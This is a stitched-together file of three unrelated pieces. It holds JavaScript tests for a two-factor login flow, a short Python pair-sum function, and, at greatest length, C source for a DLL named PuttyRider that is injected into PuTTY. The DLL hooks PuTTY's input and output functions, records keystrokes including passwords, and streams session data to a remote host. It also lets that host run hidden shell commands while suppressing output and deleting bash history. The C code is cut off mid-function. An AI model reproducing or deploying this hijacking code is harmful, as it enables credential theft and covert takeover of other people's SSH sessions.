expect(res.header.location).to.equal('/verify-tfa/');
testSession.get(res.header.location)
.end((err2, res2) => {
var $ = cheerio.load(res2.text);
expect(res2.text).to.not.contain('You are logged in');
expect(res2.text).to.contain('Account Verification');
expect(res2.text).to.contain('Google Authenticator');
expect(res2.text).to.not.contain('SMS that was just sent to you');
expect(res2.text).to.contain('Enter your verification code here');
done();
});
});
});
});
describe('when I access sign in with app-> false, sms-> true', () => {
it('redirects to /verify-tfa/ page with "sms was sent" message', (done) => {
testSession
.post('/')
.send({
username: 'user.app_no.sms_yes',
password: 'password'
})
.end((err, res) => {
expect(res.header.location).to.equal('/verify-tfa/');
testSession.get(res.header.location)
.end((err2, res2) => {
var $ = cheerio.load(res2.text);
expect(res2.text).to.not.contain('You are logged in');
expect(res2.text).to.contain('Account Verification');
expect(res2.text).to.not.contain('Google Authenticator');
expect(res2.text).to.contain('SMS that was just sent to you');
expect(res2.text).to.contain('Enter your verification code here');
done();
});
});
});
});
describe('when I access sign in with app-> true, sms-> true', () => {
it('redirects to /verify-tfa/ page with "Google Authenticator" + "sms was sent" messages', (done) => {
testSession
.post('/')
.send({
username: 'user.app_yes.sms_yes',
password: 'password'
})
.end((err, res) => {
expect(res.header.location).to.equal('/verify-tfa/');
testSession.get(res.header.location)
.end((err2, res2) => {
var $ = cheerio.load(res2.text);
expect(res2.text).to.not.contain('You are logged in');
expect(res2.text).to.contain('Account Verification');
expect(res2.text).to.contain('Google Authenticator');
expect(res2.text).to.contain('SMS that was just sent to you');
expect(res2.text).to.contain('Enter your verification code here');
done();
});
});
});
});
});
describe('enable tfa via app', () => {
describe('get /enable-tfa-via-app/', () => {
it('shows google authenticator instructions', (done) => {
testSession
.post('/')
.send({
username: 'user',
password: 'password'
})
.end((err, res) => {
testSession
.get('/enable-tfa-via-app')
.end((err2, res2) => {
expect(res2.statusCode).to.equal(200);
expect(res2.text).to.contain('Install Google Authenticator');
expect(res2.text).to.contain('Open the Google Authenticator app');
expect(res2.text).to.contain('Tap menu, then tap "Set up account"');
expect(res2.text).to.contain('then tap "Scan a barcode"');
expect(res2.text).to.contain('scan the barcode below');
expect(res2.text).to.contain('Once you have scanned the barcode, enter the 6-digit code below');
expect(res2.text).to.contain('Submit');
expect(res2.text).to.contain('Cancel');
done();
});
});
});
});
describe('post /enable-tfa-via-app/ with correct token', () => {
it('shows "You are setup via Google Authenticator"', (done) => {
testSession
.post('/')
.send({
username: 'user',
password: 'password'
})
.end((err, res) => {
User.findOne({'username': 'user'}, (err, result) => {
testSession
.post('/enable-tfa-via-app')
.send({
token: new totp.TotpAuth(result.totpSecret).generate()
})
.end((err2, res2) => {
expect(res2.statusCode).to.equal(200);
expect(res2.text).to.contain('You are set up');
expect(res2.text).to.contain('via Google Authenticator');
done();
});
});
});
});
});
describe('post /enable-tfa-via-app/ with wrong token', () => {
it('shows "There was an error verifying your token"', (done) => {
testSession
.post('/')
.send({
username: 'user',
password: 'password'
})
.end((err, res) => {
User.findOne({'username': 'user'}, (err, result) => {
testSession
.post('/enable-tfa-via-app')
.send({
token: '-1'
})
.end((err2, res2) => {
expect(res2.statusCode).to.equal(200);
expect(res2.text).to.contain('There was an error verifying your token');
done();
});
});
});
});
});
});
describe('enable tfa via sms', () => {
describe('send phone number to /enable-tfa-via-sms/', () => {
it('shows sms instructions', (done) => {
testSession
.post('/')
.send({
username: 'user',
password: 'password'
})
.end((err, res) => {
testSession
.post('/enable-tfa-via-sms')
.send({
'phoneNumber': '+14155551212'
})
.end((err2, res2) => {
expect(res2.statusCode).to.equal(200);
expect(res2.text).to.contain('Enter your mobile phone number');
expect(res2.text).to.contain('A 6-digit verification code will be sent');
expect(res2.text).to.contain('Enter your verification code');
expect(res2.text).to.contain('Submit and verify');
expect(res2.text).to.contain('Cancel');
done();
});
});
});
});
describe('send wrong phone number', () => {
it('show error message', (done) => {
testSession
.post('/')
.send({
username: 'user',
password: 'password'
})
.end((err, res) => {
testSession
.post('/enable-tfa-via-sms')
.send({
'phoneNumber': 'FAKE'
})
.end((err2, res2) => {
expect(res2.statusCode).to.equal(200);
expect(res2.text).to.contain('There was an error sending');
done();
});
});
});
});
describe('send correct token to /enable-tfa-via-sms/', () => {
it('shows "you are set up" msg', (done) => {
testSession
.post('/')
.send({
username: 'user',
password: 'password'
})
.end((err, res) => {
testSession
.post('/enable-tfa-via-sms')
.send({
'phoneNumber': '+14155551212'
})
.end((err2, res2) => {
//TODO improve this test using spy
var token = new totp.TotpAuth('R6LPJTVQXJFRYNDJ').generate();
testSession
.post('/enable-tfa-via-sms')
.send({
'token': token
})
.end((err2, res2) => {
expect(res2.statusCode).to.equal(200);
expect(res2.text).to.contain('You are set up');
expect(res2.text).to.contain('via Twilio SMS');
done();
});
});
});
});
});
});
describe('verify tfa sms enabled', () => {
describe('when submits valid token', () => {
it('logins', (done) => {
testSession
.post('/')
.send({
username: 'user.app_no.sms_yes',
password: 'password'
})
.end((err, res) => {
testSession
.get('/verify-tfa/')
.end((err2, res2) => {
expect(res2.statusCode).to.equal(200);
expect(res2.text).to.contain('The SMS that was just sent to you');
//TODO improve this test using spy
var token = new totp.TotpAuth('<KEY>').generate();
testSession
.post('/verify-tfa/')
.send({'token': token})
.end((err3, res3) => {
expect(res3.statusCode).to.equal(302);
expect(res3.header.location).to.equal('/user/');
done();
});
});
});
});
});
describe('when submits invalid token', () => {
it('show token is invalid message', (done) => {
testSession
.post('/')
.send({
username: 'user.app_no.sms_yes',
password: 'password'
})
.end((err, res) => {
testSession
.get('/verify-tfa/')
.end((err2, res2) => {
expect(res2.statusCode).to.equal(200);
expect(res2.text).to.contain('The SMS that was just sent to you');
//TODO improve this test using spy
var token = new totp.TotpAuth('WRONG_TOKEN').generate();
testSession
.post('/verify-tfa/')
.send({'token': token})
.end((err3, res3) => {
expect(res3.statusCode).to.equal(200);
expect(res3.text).to.contain('There was an error verifying your token');
done();
});
});
});
});
});
});
|
from typing import List
def find_pair_with_sum(arr: List[int], target: int) -> List[int]:
seen = set()
for num in arr:
complement = target - num
if complement in seen:
return [complement, num]
seen.add(num)
return [] |
#include <windows.h>
#include "Utils.h"
/* This named data section will be shared between multiple instances of this DLL
* Its purpose is to pass the parameters from PuttyRider.exe to the DLL instance running inside Putty.exe
* In order to be shared, it needs to be loaded by PuttyRider.exe also
*/
#pragma data_seg(".shared")
UCHAR connectBackIP[BUFSIZE] = "";
UINT connectBackPort = 0;
UCHAR logFileName[MAX_PATH] = "";
UCHAR defaultCmd[MAX_PATH] = "";
#pragma data_seg()
#pragma comment(linker, "/section:.shared,RWS")
/* Disable compiler warning: C4731 frame pointer register modified
*/
#pragma warning(disable : 4731)
/* The hex representation of signatures must be less than 200 characters (100 bytes)
* The hex representation of signatures must have an even length
*/
#define LDISC_SEND_SIGN1 "515355568b742414578b7c242033ed3bfd896c2410" /* Matches ldisc_send() in Putty 0.54 - 0.63 */
#define LDISC_SEND_SIGN2 "5553575683EC0C8B7424208B7C2428833E00751768" /* Matches ldisc_send() in Putty 0.70 */
#define TERM_DATA_SIGN1 "56ff7424148b74240cff7424148d466050e8" /* Matches term_data() in Putty 0.54 - 0.56 */
#define TERM_DATA_SIGN2 "56ff7424148b74240cff7424148d464c50e8" /* Matches term_data() in Putty 0.57 */
#define TERM_DATA_SIGN3 "568b742408ff7424148d464cff74241450e8" /* Matches term_data() in Putty 0.58 - 0.63 */
#define TERM_DATA_SIGN4 "568B7424088D4660FF742414FF74241450E8" /* Matches term_data() in Putty 0.70 */
DWORD pLdiscSend; /* The address of ldisc_send() in .text section of Putty.exe */
DWORD pTermData; /* The address of term_data() in .text section of Putty.exe */
UCHAR ldiscSendBytes[9]; /* First 9 bytes of function ldisc_send() */
UCHAR termDataBytes[9]; /* First 9 bytes of function term_data() */
DWORD oldEIPLdiscSend;
DWORD oldEIPTermData;
DWORD processID; /* Current process ID */
FILE* logFd; /* FILE object that identifies the output file */
HANDLE logPipe; /* Handler of a named pipe used for sending log messages to the initial process */
UCHAR buffer[BUFSIZE]; /* General buffer to keep temporary data */
UCHAR keyPressBuf[BUFSIZE]; /* Stores user input received in ldisc_send() */
BOOL connInfoSent = FALSE; /* This flag says if connection information has already been sent or not */
BOOL outputDisabled = FALSE; /* If output is disabled, the Putty window will not display anything */
INT outputDisabledCount; /* When disabling output, this is the number of times term_data() is not called
* For instance, for not showing one shell command, term_data() must be skipped 2 times
*/
BOOL bDefaultCmdExecuted = FALSE; /* Ensure that the default command is executed only once */
BOOL bEjectDLL = FALSE; /* This signals that the DLL should be unloaded */
SOCKET gsock = 0; /* Socket for reverse connection */
VOID* ldiscSendHandleParam = 0; /* This is the first parameter that is passed to ldisc_send() by putty
* Ldisc ldisc = (Ldisc) handle;
*/
BOOL bPuttyWindowConnected = TRUE;
/* Prototypes of function handlers that will be called after hooking the target functions
*/
VOID LdiscSendHandler(VOID* handle, CHAR* buf, INT len, INT interactive);
INT TermDataHandler(VOID* term, INT is_stderr, CHAR* data, INT len);
/* Helper functions for enabling/disabling Putty output */
VOID DisablePuttyOutput()
{
outputDisabled = TRUE;
outputDisabledCount = 3; /* Skip term_data() x times */
}
VOID EnablePuttyOutput()
{
outputDisabled = FALSE;
}
/* Finds the pointers to target functions by searching their patterns in the .text section of the current module
*/
BOOL FindTargetFunctions(DWORD* pLdiscSend, DWORD* pTermData)
{
UCHAR modulePath[MAX_PATH];
DWORD moduleBaseAddress;
DWORD textSectionAddress;
DWORD textSectionSize;
DWORD numBytes;
GetModuleFileName(NULL, modulePath, MAX_PATH);
sprintf(buffer, "[+] [%i] Target path: %s\n", processID, modulePath);
WritePipeMessage(logPipe, buffer);
moduleBaseAddress = GetModuleBaseAddress();
if(GetTextSection(modulePath, &textSectionAddress, &textSectionSize) == FALSE) {
sprintf(buffer, "[-] [%i] %s\n", processID, "Could not find .text section\n");
WritePipeMessage(logPipe, buffer);
return FALSE;
} else {
sprintf(buffer, "[+] [%i] Base address: %08x\n", processID, moduleBaseAddress);
WritePipeMessage(logPipe, buffer);
sprintf(buffer, "[+] [%i] .text start address: %08x\n", processID, textSectionAddress);
WritePipeMessage(logPipe, buffer);
sprintf(buffer, "[+] [%i] .text size: %08x\n", processID, textSectionSize);
WritePipeMessage(logPipe, buffer);
}
/* Find ldisc_send() address in .text section of Putty.exe */
HexStringToBytes(LDISC_SEND_SIGN1, buffer);
*pLdiscSend = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(LDISC_SEND_SIGN1) / 2);
if (*pLdiscSend == 0) {
HexStringToBytes(LDISC_SEND_SIGN2, buffer);
*pLdiscSend = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(LDISC_SEND_SIGN2) / 2);
}
if (*pLdiscSend == 0) {
sprintf(buffer, "[-] [%i] %s\n", processID, "Could not find ldisc_send()\n");
WritePipeMessage(logPipe, buffer);
return FALSE;
}
/* Find term_data() address in .text section of Putty.exe */
/* Try all signatures */
HexStringToBytes(TERM_DATA_SIGN1, buffer);
*pTermData = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(TERM_DATA_SIGN1) / 2);
if (*pTermData == 0) {
HexStringToBytes(TERM_DATA_SIGN2, buffer);
*pTermData = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(TERM_DATA_SIGN2) / 2);
}
if (*pTermData == 0) {
HexStringToBytes(TERM_DATA_SIGN3, buffer);
*pTermData = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(TERM_DATA_SIGN3) / 2);
}
if (*pTermData == 0) {
HexStringToBytes(TERM_DATA_SIGN4, buffer);
*pTermData = (DWORD)memmem((const unsigned char*)(moduleBaseAddress + textSectionAddress), textSectionSize,
(const unsigned char*)buffer, strlen(TERM_DATA_SIGN4) / 2);
}
if (*pTermData == 0) {
sprintf(buffer, "[-] [%i] %s\n", processID, "Could not find term_data()\n");
WritePipeMessage(logPipe, buffer);
return FALSE;
}
return TRUE;
}
/* Write a sequence of opcodes at pLocation that will determine a jump to pJmpAddr:
* XOR EAX, EAX; ADD EAX pJmpAddr; JMP EAX
*/
VOID WriteJmpToAddress(DWORD pLocation, DWORD pJmpAddr)
{
#define XOR_EAX_EAX "31c0"
#define JMP_EAX "ffe0"
CHAR jmpAddrStr[9];
CHAR opcodeStr[200];
UINT pos = 0;
UINT j;
UCHAR xbyte;
memset(opcodeStr, 0, 200);
sprintf(jmpAddrStr, "%08x", pJmpAddr);
strcat(opcodeStr, XOR_EAX_EAX);
strcat(opcodeStr, "05"); // ADD EAX, ...
/* Append jmp address bytes in reverse order */
strcat(opcodeStr, jmpAddrStr+6);
jmpAddrStr[6] = 0;
strcat(opcodeStr, jmpAddrStr+4);
jmpAddrStr[4] = 0;
strcat(opcodeStr, jmpAddrStr+2);
jmpAddrStr[2] = 0;
strcat(opcodeStr, jmpAddrStr);
strcat(opcodeStr, JMP_EAX);
/* Transform string opcodes to bytes and write them to location */
for (j = 0; j < (strlen(opcodeStr) / 2); j++) {
sscanf(opcodeStr + 2*j, "%02x", &xbyte);
((UCHAR*)pLocation)[pos++] = xbyte;
}
}
/* This function installs both hooks for the first time into the target functions
*/
BOOL InstallHooks()
{
INT i;
/* Save the first 9 bytes from the beginning of the target functions because they will be overwritten with JMPs */
for(i = 0; i < 9; i++) {
ldiscSendBytes[i] = ((UCHAR*)pLdiscSend)[i];
termDataBytes[i] = ((UCHAR*)pTermData)[i];
}
/* Change the access rights of memory regions of target functions */
if (VirtualProtect((UCHAR*)pLdiscSend, 20, PAGE_EXECUTE_READWRITE, &i) == 0) {
sprintf(buffer, "[-] [%i] %s\n", processID, "VirtualProtect failed\n");
WritePipeMessage(logPipe, buffer);
return FALSE;
}
if (VirtualProtect((UCHAR*)pTermData, 20, PAGE_EXECUTE_READWRITE, &i) == 0) {
sprintf(buffer, "[-] [%i] %s\n", processID, "VirtualProtect failed\n");
WritePipeMessage(logPipe, buffer);
return FALSE;
}
WriteJmpToAddress(pLdiscSend, (DWORD)LdiscSendHandler);
WriteJmpToAddress(pTermData, (DWORD)TermDataHandler);
return TRUE;
}
/* After the original function has executed, reinsert hook (jmp) into the function code and give back control to original program
*/
VOID ReinstallHookLdiscSend()
{
INT* thisOldEIP;
/* Save the result returned by previous function */
__asm push eax;
/* Reinsert hook */
WriteJmpToAddress(pLdiscSend, (DWORD)LdiscSendHandler);
/* Make the function return back to the original location (to legitimate code) */
__asm {
mov thisOldEIP, ebp; /* This is the location where old EIP must be placed for this function */
push eax;
push ebx;
push ecx;
mov ebx, thisOldEIP;
mov ecx, oldEIPLdiscSend;
/* EBP must be lifted 4 bytes on stack, oldEIPLdiscSend must be inserted in the initial place of EBP */
sub ebp, 4;
mov eax, [ebp+4];
mov [ebp], eax;
mov [ebx], ecx;
pop ecx;
pop ebx;
pop eax;
}
/* Restore the result returned by previous function */
__asm pop eax;
}
/* After the original function has executed, reinsert hook (jmp) into the function code and give back control to original program
*/
VOID ReinstallHookTermData()
{
INT* thisOldEIP;
/* Save the result returned by previous function */
__asm push eax;
/* Reinsert hook */
WriteJmpToAddress(pTermData, (DWORD)TermDataHandler);
/* Make the function return back to the original location (to legitimate code) */
__asm {
mov thisOldEIP, ebp; /* This is the location where old EIP must be placed for this function */
push eax;
push ebx;
push ecx;
mov ebx, thisOldEIP;
mov ecx, oldEIPTermData;
/* EBP must be lifted 4 bytes on stack, oldEIPTermData must be inserted in the initial place of EBP */
sub ebp, 4;
mov eax, [ebp+4];
mov [ebp], eax;
mov [ebx], ecx;
pop ecx;
pop ebx;
pop eax;
}
/* Restore the result returned by previous function */
__asm pop eax;
}
/* This is the handler function that is called after hooking ldisc_send()
* Original function declaration is:
* - void ldisc_send(void *handle, char *buf, int len, int interactive)
* The original function handles input (key presses) sent by the user in the main Putty window
*/
VOID LdiscSendHandler(VOID* handle, CHAR* buf, INT len, INT interactive)
{
INT i;
UCHAR c;
UCHAR* ptr;
INT actualLen;
INT* oldEIPAddr;
VOID (*ldisc_send)(VOID*, CHAR*, INT, INT);
/* Save old EIP of original function to oldEIPLdiscSend */
__asm mov oldEIPAddr, EBP;
oldEIPAddr += 1; /* oldEIPAddr += 1 * sizeof(int*) */
oldEIPLdiscSend = (DWORD)*oldEIPAddr;
if (bEjectDLL == FALSE) {
/* Replace old EIP with a pointer to our code which will reinstall the hook */
*oldEIPAddr = (DWORD)ReinstallHookLdiscSend;
}
/* Restore original function bytes in order to be usable */
for(i = 0; i < 9; i++) {
((UCHAR*)pLdiscSend)[i] = ldiscSendBytes[i];
}
/* Save the handle so we can use it in our own thread */
ldiscSendHandleParam = handle;
/* If we reach here having our buffer with data, it means that it has not been echoed by the server (ex. password)
* So we must process this data also
*/
if (strlen(keyPressBuf) > 0) {
if (strlen(logFileName) > 0) {
fwrite(keyPressBuf, strlen(keyPressBuf), 1, logFd);
}
if (gsock > 0) {
send(gsock, keyPressBuf, strlen(keyPressBuf), 0);
}
sprintf(buffer, "[+] [%i] ldisc_send(): %s\n", processID, keyPressBuf);
WritePipeMessage(logPipe, buffer);
keyPressBuf[0] = 0;
}
/* Store input data in keyPressBuf */
if (len < 0) { /* From Putty src: Less than zero means null terminated special string */
actualLen = strlen(buf);
} else {
actualLen = len;
}
if (actualLen > BUFSIZE - 2) {
actualLen = BUFSIZE - 2; /* Leave space for null terminator */
}
keyPressBuf[0] = 0;
memcpy(keyPressBuf, buf, actualLen);
keyPressBuf[actualLen + 1] = 0; /* Add null terminator */
/* Call original function */
ldisc_send = (VOID(*)(VOID*, CHAR*, INT, INT))pLdiscSend;
if (strlen(defaultCmd) > 0 && bDefaultCmdExecuted == FALSE) {
/* Disable output in the Putty window */
DisablePuttyOutput();
/* Configure the local history to ignore commands beginning with space */
sprintf(buffer, " export HISTCONTROL=ignorespace;n=`history|tail -n 1|cut -d ' ' -f 3`;history -d $n;history -w\n");
ldisc_send(handle, buffer, strlen(buffer), interactive);
/* Remove trailing spaces and '&' character */
for (ptr = defaultCmd + strlen(defaultCmd) - 1; ptr != defaultCmd; ptr--) {
if (*ptr != ' ' && *ptr != '&') {
break;
} else {
*ptr = 0;
}
}
sprintf(buffer, "[+] [%i] Executing command:\n", processID);
WritePipeMessage(logPipe, buffer);
/* Prefix all commands with a space in order not to show in history */
sprintf(buffer, " %s 1>/dev/null 2>/dev/null &\n", defaultCmd);
ldisc_send(handle, buffer, strlen(buffer), interactive);
WritePipeMessage(logPipe, " ");
WritePipeMessage(logPipe, buffer);
bDefaultCmdExecuted = TRUE;
} else {
ldisc_send(handle, buf, len, interactive);
}
return;
}
/* This is the handler function that is called after hooking term_data()
* Original function declaration is:
* - int term_data(Terminal *term, int is_stderr, const char *data, int len)
* The original function handles data received from the server side and which should be
* displayed in the main Putty window
*/
INT TermDataHandler(VOID* term, INT is_stderr, CHAR* data, INT len)
{
INT i;
INT* oldEIPAddr;
INT (*term_data)(VOID*, INT, CHAR*, INT);
INT res;
CHAR ipAddr1[BUFSIZE];
CHAR ipAddr2[BUFSIZE];
MIB_TCPROW_OWNER_PID connInfo;
/* First repair the original function code but
* ensure that we can reinstall the hook after its execution
*/
/* Save old EIP of original function to oldEIPTermData */
__asm mov oldEIPAddr, EBP;
oldEIPAddr += 1; /* oldEIPAddr += 1 * sizeof(int*) */
oldEIPTermData = (DWORD)*oldEIPAddr;
if (bEjectDLL == FALSE) {
/* Replace old EIP with a pointer to our code which will reinstall the hook */
*oldEIPAddr = (DWORD)ReinstallHookTermData;
}
/* Restore original function bytes in order to be usable */
for(i = 0; i < 9; i++) {
((UCHAR*)pTermData)[i] = termDataBytes[i];
}
/* Do something useful with the data */
if (len > 0) {
/* Send connection information first */
if (connInfoSent == FALSE) {
if (GetEstablishedConnOfPid(processID, &connInfo) == FALSE) {
sprintf(buffer, "[-] [%i] Could not get information about established connections\n", processID);
WritePipeMessage(logPipe, buffer);
} else {
IPv4ToString(connInfo.dwLocalAddr, ipAddr1, BUFSIZE);
sprintf(buffer, "[+] [%i] Local endpoint: %s:%i\n", processID, ipAddr1, ntohs(connInfo.dwLocalPort));
WritePipeMessage(logPipe, buffer);
if (strlen(logFileName) > 0) {
fwrite(buffer, strlen(buffer), 1, logFd);
}
if (gsock > 0) {
send(gsock, buffer, strlen(buffer), 0);
}
IPv4ToString(connInfo.dwRemoteAddr, ipAddr2, BUFSIZE);
sprintf(buffer, "[+] [%i] Remote endpoint: %s:%i\n", processID, ipAddr2, ntohs(connInfo.dwRemotePort));
WritePipeMessage(logPipe, buffer);
if (strlen(logFileName) > 0) {
fwrite(buffer, strlen(buffer), 1, logFd);
}
if (gsock > 0) {
send(gsock, buffer, strlen(buffer), 0);
}
}
connInfoSent = TRUE;
}
if (strlen(logFileName) > 0) {
fwrite(data, len, 1, logFd);
}
if (gsock > 0) {
send(gsock, data, len, 0);
}
sprintf(buffer, "[+] [%i] term_data(): ", processID);
if (len > BUFSIZE - 50) {
strncat(buffer, data, BUFSIZE - 50);
} else {
strncat(buffer, data, len);
}
strcat(buffer, "\n");
WritePipeMessage(logPipe, buffer);
/* Discard keyPressBuf because it is already echoed back by the server */
keyPressBuf[0] = 0;
}
if (outputDisabled == FALSE) {
if (bPuttyWindowConnected == TRUE) {
/* Call original function */
term_data = (INT(*)(VOID*, INT, CHAR*, INT))pTermData;
res = term_data(term, is_stderr, data, len);
} else {
res = 0;
}
} else {
/* Skip calling original term_data() outputDisabledCount times */
res = 0;
outputDisabledCount--;
if (outputDisabledCount == 0) {
EnablePuttyOutput();
}
}
return res;
}
DWORD WINAPI RunSocketThread(LPVOID lpParam)
{
SOCKET sock = (SOCKET)lpParam;
CHAR banner[BUFSIZE];
CHAR localbuf[BUFSIZE];
INT sockAvailableBytes;
BOOL bConnectionClosed = FALSE;
sprintf(banner, "\nPuttyRider v0.1\n===============\n\n");
sprintf(localbuf, "[+] [%i] Client connected. Putty PID=%i\n", processID, processID);
strcat(banner, localbuf);
sprintf(localbuf, "[+] [%i] Type !help for more commands\n", processID);
strcat(banner, localbuf);
send(sock, banner, strlen(banner), 0);
while (bEjectDLL == FALSE) {
Sleep(10);
sockAvailableBytes = recv(sock, localbuf, BUFSIZE-1, 0);
if (sockAvailableBytes == 0) {
bConnectionClosed = TRUE; /* Connection reset by peer */
break;
} else if (sockAvailableBytes == SOCKET_ERROR) {
if (WSAGetLastError() != WSAEWOULDBLOCK) {
bConnectionClosed = TRUE; /* Connection error */
break;
}
} else if (sockAvailableBytes > 0) {
/* Null-terminate the input data */
localbuf[sockAvailableBytes] = 0;
if (strstr(localbuf, "!help") != 0) {
sprintf(localbuf,"\
Help commands:\n\
!status See if the Putty window is connected to user input\n\
!discon Disconnect the main Putty window so it won't display any message\n\
This is useful to send shell commands without the user's notice\n\
!recon Reconnect the Putty window to its normal operation mode\n\
CMD Linux shell commands\n\
!exit Terminate this connection\n\
!help Display help for client connection\n\n", processID
);
send(sock, localbuf, strlen(localbuf), 0);
continue;
}
if (ldiscSendHandleParam == 0) {
/* If we do not have a valid handle, we simulate a key press in the Putty window
* This will trigger a call to ldisc_send(), from where we obtain a valid ldiscSendHandleParam
*/
PressPuttyKey(' ');
Sleep(200);
}
if (ldiscSendHandleParam == 0) {
/* The previous key press did not work or the Putty session is not actually open */
sprintf(localbuf, "[-] [%i] Could not interact with Putty (session not open or idle)\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
} else {
/* Check our commands */
if (strstr(localbuf, "!discon") != 0) {
bPuttyWindowConnected = FALSE;
sprintf(localbuf, "[+] [%i] Putty window disconnected\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
} else if (strstr(localbuf, "!recon") != 0) {
bPuttyWindowConnected = TRUE;
sprintf(localbuf, "[+] [%i] Putty window connected\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
} else if (strstr(localbuf, "!exit") != 0) {
sprintf(localbuf, "[+] [%i] Closing connection. Bye\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
break;
} else if (strstr(localbuf, "!status") != 0) {
if (bPuttyWindowConnected == TRUE) {
sprintf(localbuf, "[+] [%i] Putty window is connected (receives user input)\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
} else {
sprintf(localbuf, "[+] [%i] Putty window is not connected (does not receive user input)\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
}
} else {
if (bPuttyWindowConnected == TRUE) {
sprintf(localbuf, "[-] [%i] You must first disconnect the Putty window (!discon command)\n", processID);
send(sock, localbuf, strlen(localbuf), 0);
} else {
LdiscSendHandler(ldiscSendHandleParam, localbuf, strlen(localbuf), 1);
}
}
}
}
}
closesocket(sock);
return 0;
}
HANDLE StartConnectBack()
{
WSADATA wsa;
SOCKET sock;
struct sockaddr_in serverInfo;
INT count = 0;
ULONG socketMode = 1; /* Non-blocking */
HANDLE hSocketThread;
if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) {
sprintf(buffer, "[+] [%i] WSAStartup failed\n", processID);
WritePipeMessage(logPipe, buffer);
return 0;
}
if((sock = socket(AF_INET , SOCK_STREAM , 0)) == INVALID_SOCKET) {
sprintf(buffer, "[+] [%i] Could not create socket\n", processID);
WritePipeMessage(logPipe, buffer);
return 0;
}
serverInfo.sin_addr.s_addr = inet_addr(connectBackIP);
serverInfo.sin_family = AF_INET;
serverInfo.sin_port = htons(connectBackPort);
sprintf(buffer, "[+] [%i] Connecting to %s:%i\n", processID, connectBackIP, connectBackPort);
WritePipeMessage(logPipe, buffer);
/* Try 5 times to connect back */
while (count++ < 5) {
if (connect(sock, (struct sockaddr *)&serverInfo, sizeof(serverInfo)) < 0) {
if (count < 5) {
sprintf(buffer, "[-] [%i] Could not create socket. Retrying...\n", processID);
} else {
sprintf(buffer, "[-] [%i] Could not create socket. \n", processID);
}
WritePipeMessage(logPipe, buffer);
Sleep(1000);
continue;
}
break;
}
if (count == 6) {
sprintf(buffer, "[-] [%i] Reverse connection failed\n", processID);
WritePipeMessage(logPipe, buffer);
closesocket(sock);
return 0;
}
sprintf(buffer, "[+] [%i] Reverse connection succeeded\n", processID, sock);
WritePipeMessage(logPipe, buffer);
gsock = sock;
ioctlsocket(sock, FIONBIO, &socketMode);
/* Start the socket thread */
hSocketThread = CreateThread(NULL, 0, RunSocketThread, (VOID*)sock, 0, NULL);
if (hSocketThread == NULL) {
sprintf(buffer, "[-] [%i] Error creating socket thread\n", processID);
WritePipeMessage(logPipe, buffer);
closesocket(sock);
return 0;
}
return hSocketThread;
}
VOID Start()
{
HANDLE hSocketThread;
HMODULE hModule;
CHAR* pos;
processID = GetCurrentProcessId();
/* Connect to pipe for sending log messages to main process */
logPipe = CreateFile("\\\\.\\pipe\\pr_log", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
/* if logPipe == INVALID_HANDLE_VALUE, WritePipeMessage will fail silently */
if (FindTargetFunctions(&pLdiscSend, &pTermData) == FALSE) {
/* Here we exit also if the DLL was loaded in another process than Putty.exe */
CloseHandle(logPipe);
return;
}
sprintf(buffer, "[+] [%i] ldisc_send() found at: %08x\n", processID, pLdiscSend);
WritePipeMessage(logPipe, buffer);
sprintf(buffer, "[+] [%i] term_data() found at: %08x\n", processID, pTermData);
WritePipeMessage(logPipe, buffer);
/* Create the log file if it was requested */
if (strlen(logFileName) > 0) {
/* Remove the pid if it already exists in the file name */
pos = strstr(logFileName, ".log.");
if (pos != NULL) {
*(pos+4) = 0;
}
/* Append .pid to the log file name because multiple Putty processes might be hooked */
if (strlen(logFileName) < MAX_PATH - 7) {
sprintf(buffer, ".%i", processID);
strcat(logFileName, buffer);
}
if ((logFd = fopen(logFileName, "w")) == NULL) {
sprintf(buffer, "[-] [%i] Failed creating log file %s\n", processID, logFileName);
WritePipeMessage(logPipe, buffer);
} else {
sprintf(buffer, "[+] [%i] Log file created: %s\n", processID, logFileName);
WritePipeMessage(logPipe, buffer);
}
}
if (strlen(defaultCmd) > 0) {
sprintf(buffer, "[+] [%i] Default command to execute: %s\n", processID, defaultCmd);
WritePipeMessage(logPipe, buffer);
}
/* Initiate the connect back session */
if (connectBackPort > 0) {
hSocketThread = StartConnectBack();
if (hSocketThread == 0 && strlen(logFileName) == 0) {
sprintf(buffer, "[-] [%i] No output method available\n", processID);
WritePipeMessage(logPipe, buffer);
/* We should eject the DLL here */
}
}
/* Clear the buffer containing user input */
keyPressBuf[0] = 0;
/* Install the hooks on the target functions */
if (InstallHooks() == FALSE) {
sprintf(buffer, "[-] [%i] %s\n", processID, "InstallHooks failed. Quitting\n");
WritePipeMessage(logPipe, buffer);
CloseHandle(logPipe);
return;
}
sprintf(buffer, "[+] [%i] %s\n", processID, "Function hooks installed successfully");
WritePipeMessage(logPipe, buffer);
/* Force Putty to execute ldisc_send() function in order to execute the default command */
if (strlen(defaultCmd) > 0) {
PressPuttyKey('^');
}
/* Signal the injector thread that it can exit */
sprintf(buffer, "!consoledetach ");
WritePipeMessage(logPipe, buffer);
}
__declspec(dllexport) VOID SetLogFileName(UCHAR* fileName)
{
strncpy(logFileName, fileName, MAX_PATH);
}
__declspec(dllexport) VOID SetDefaultCmd(UCHAR* cmd)
{
strncpy(defaultCmd, cmd, MAX_PATH);
}
__declspec(dllexport) VOID SetConnectBackInfo(CHAR* ip, DWORD port)
{
sprintf(connectBackIP, ip);
connectBackPort = port;
}
__declspec(dllexport) BOOL EjectDLL(UINT dummy)
{
/* TODO: Add module name as parameter */
HMODULE hModule = NULL;
UCHAR buf[BUFSIZE];
INT i;
